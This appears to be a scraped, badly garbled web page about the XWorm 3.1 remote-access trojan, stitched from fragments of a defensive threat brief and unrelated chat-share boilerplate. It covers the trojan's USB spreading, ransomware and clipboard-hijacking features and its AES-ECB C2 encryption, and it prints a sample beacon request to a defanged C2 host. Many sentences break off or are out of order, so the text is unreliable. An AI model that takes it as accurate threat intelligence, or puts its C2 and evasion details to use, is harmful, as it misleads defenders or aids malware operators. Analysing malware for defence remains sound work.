Xworm 3.1 New!

: Automatically copies itself to connected USB drives to infect other machines when the drive is plugged into a new system.

: Threat actors can activate file encryption routines, transforming the RAT into a ransomware delivery mechanism.

This public link is valid for 7 days and shares a thread, including any personal information you added. This link or copies made by others cannot be deleted. If you share with third parties, their policies apply. Can’t copy the link right now. Try again later. Malicious PDF delivering Xworm 3.1 payload - SonicWall

Ensure all office software, especially those handling document files, are patched to prevent exploitation of vulnerabilities like CVE-2018-0802.

that has established a major footprint in the underground cybercrime ecosystem. First appearing broadly in the threat landscape as a commodity Malware-as-a-Service (MaaS), cracked variations like version 3.1 are heavily shared across GitHub, Telegram, and dark web forums. Built on the Microsoft .NET framework, XWorm 3.1 functions not just as a standard backdoor, but as a multi-functional cyberweapon capable of operating as an info-stealer, keylogger, ransomware dropper, and botnet node for Distributed Denial of Service (DDoS) attacks. xworm 3.1

Understanding XWorm 3.1: Features, Mechanics, and Mitigation Strategies

This technical brief breaks down the architecture, deployment strategies, operational features, and defensive countermeasures required to protect enterprise environments against XWorm 3.1. 🛡️ Executive Summary: What is XWorm 3.1?

: Bundled with "free" versions of premium software or game cheats. Malware-as-a-Service (MaaS)

Security administrators should hunt for the following indicators of XWorm 3.1 infection: : Automatically copies itself to connected USB drives

A notable feature is its ability to hijack the clipboard. XWorm 3.1 monitors clipboard changes and, if it detects a cryptocurrency wallet address being copied, it instantly replaces it with an address belonging to the attacker. D. Distributed Denial of Service (DDoS)

: Commands to shut down, restart, or log off the victim. Malicious Payloads & Propagation

The initial infection chain for XWorm 3.1 typically follows a multi-stage process designed to bypass perimeter defenses.

XWorm 3.1 employs AES-ECB encryption to protect communication between infected clients and its C2 server. The malware's configuration—including C2 host, port number, encryption key, data separator, and executable name—is stored in an encrypted class within the client binary. The encryption key is derived from an MD5 hash of a 16-character Mutex, which is then used to create a 32-byte AES key. This link or copies made by others cannot be deleted

References

POST /index.php HTTP/1.1 Host: badc2[.]com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Content-Type: application/x-www-form-urlencoded

The initial payload dropped on the endpoint is typically an uncompiled or heavily obfuscated .NET file wrapped using commercial software protection tools like . This layering prevents quick static analysis by signature-based antivirus solutions. 3. Process Hollowing

Cryptocurrency theft remains a primary revenue stream for XWorm operators. The 3.1 variant includes a sophisticated .